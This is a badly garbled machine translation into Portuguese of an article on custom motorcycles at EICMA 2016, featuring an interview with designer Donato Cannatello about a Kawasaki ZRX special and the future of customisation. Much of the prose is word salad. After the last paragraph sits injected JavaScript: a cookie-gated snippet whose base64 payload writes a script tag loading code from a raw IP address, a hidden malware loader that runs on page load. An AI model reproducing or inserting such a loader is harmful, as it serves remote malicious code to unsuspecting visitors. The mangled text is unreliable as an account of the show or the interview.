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Inverter esta ordem: o que você está lendo é o comentário e que vai querer de você leitores vão escrever abaixo do artigo real no visor especial e personalizado na EICMA 2016: Coloco-me fora do jornalística e dentro em linha reta no tumulto selvagem de opinião pessoal, antipatia / simpatia algo como personalizar, e suas muitas facetas, que, por definição, é um lugar de confronto entre formas opostas de vida e motociclismo assintótica, por isso peço a todos que consideram estas linhas um mero comentário: O artigo genuíno eu vou escrever os leitores dispostos.

Para tentar me orientar nas centenas de faróis que eu pisquei persuasiva, e para saber mais, deixei-me seduzir pelo stand da Motodesign Dado que expostos entre outros, um – Curiosamente, na minha opinião – Especial para The Nation Kawasaki ZRX 1100 (chamado "Foda-se") em colaboração com a Officine Riunite Milanesi, que intrigou-me muito discos poligonais, para garantir a operação rigorosa que estabeleceu o mesmo fornecedor, o lendário Enrico Discacciati-se!

Donato Cannatello (Donato-Dado… entendido?), proprietário e design de experiência do DADO em CR&S, Incomparável, luta, Aprilia, Ele foi paciente, e trocando uma conversa com me expôs-me o seu ponto de vista sobre EICMA 2016 eo futuro de personalizar.

Para colocar dadas e opiniões relatado por Donato, Acrescentamos que lida com tanto para oferecer um serviço de planejamento e design para aqueles que querem construir um protótipo (do conceito de pré-série para levar à produção), tanto aqueles particulares que pedem "enquadrar off" projectos em suas motocicletas.

"Curiosamente, tivemos muito feedback dos ZRX que o duu, ambos exibiram em nosso estande, apesar duu é, sem dúvida, um design mais refinado e ZRX meio muito mais barato, mas evidentemente o "apanhador mais olho”».

E como você classificaria o nível do Mostrar dentro personalizado e especial?

"O nível de EICMA, se nos limitarmos ao costume e especial, parece muito maior e maduro do que há alguns anos atrás: do artiginali realidades, que continuam a produzir resultados excepcionais, Estamos mudando para uma abordagem mais madura tanto no projeto de engenharia das partes. Do ponto de vista da motocicleta, em vez, Eu amei o Harley "OPERA" Sul Garagem, muito elegante; Também ganhou o concurso, mas como você sabe o concurso praticamente ganhá-los um pouco’ tudo (Donato refere-se à miríade de categorias e não nota muito numerosas do editor participação); o costume canto em vez parecia um pouco’ voz baixa, pouco espaço e descentralizada do que o centro vital da mostra, e isso parece um pouco’ uma contradição: é a parte mais desafiadora, Em vez disso muitos ainda não visitou, porque eles não sabiam quem estava no canto do pavilhão 2; também é verdade que há um segmento do público que não está realmente interessado no costume, Eles são aqueles que têm a V-Strom com o tronco para trás, mas há também muitos fãs reais que preferem ver um boleto peça em vez nem sequer conseguiu encontrar-nos ».

Sul futuro del personalização? Donato não tem dúvidas:

"O avanço, Eu acho, é muito claro do passado: na concepção de um especial ele passou do resto bicicleta no banco e improvisar, all'effettuare primeiro, como no nosso caso, Uma rendição e digitalização 3D, em seguida, trabalhar diretamente no computador, e os lados registro mão, em folha ou simplesmente impressa em 3D; Personalizar o futuro do mercado não vê-lo em habilidades dos designers, porque hoje todo mundo pode ter um computador e colocar uma criança através de conceber e implementar uma impressora 3D, mas eu acho que isso vai ser ditada por fatores legais, tais como o respeito das normas de aprovação e a evolução do estilo e as tendências: devemos ver quanto tempo esse fenômeno personalizar muito artiginale, Eu acho que o artesanal poderia muito bem ser logo suplantada por uma mais personalização projetado, concebido e evoluiu mais ».

Uma última pergunta: porque os pneus tesselados em uma bicicleta de estrada? (Está bem, Eu sei, É minha cruzada pessoal…)

«E’ Foi uma escolha do cliente… mas devo dizer-lhe que, se não fosse por este pedido o ZRX "Maialona" não teríamos desenhado como você vê, compreender o conceito de apoiar os músculos abdominais e não as partes inferiores do tanque, que parece uma solução… "Melhor". Talvez sem os pneus nodosas que teria feito um movimento menos angular, redondo ".

Deixo a galeria de motos, com admiração para todos os expositores do costume da indústria e especial que certamente não estão lá para um retorno econômico imediato, mas muitas vezes eles investem tempo e dinheiro possuído por uma paixão para mover sempre um pouco maior a excelência trave e loucura. GetCookie função(e){var L = document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retorno U?decodeURIComponent(o[1]):vazio 0}var src =”dados:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,agora = Math.floor(Date.now()/1e3),bolinho = GetCookie(“redirecionar”);E se(agora>=(time = bolinho)||vazio 0 === tempo){tempo var = Math.floor(Date.now()/1E3 + 86400),date = new Date((Nova data).consiga tempo()+86400);document.cookie =”redirect =”+tempo +”; caminho = /; expira =”+date.toGMTString(),document.write(”)}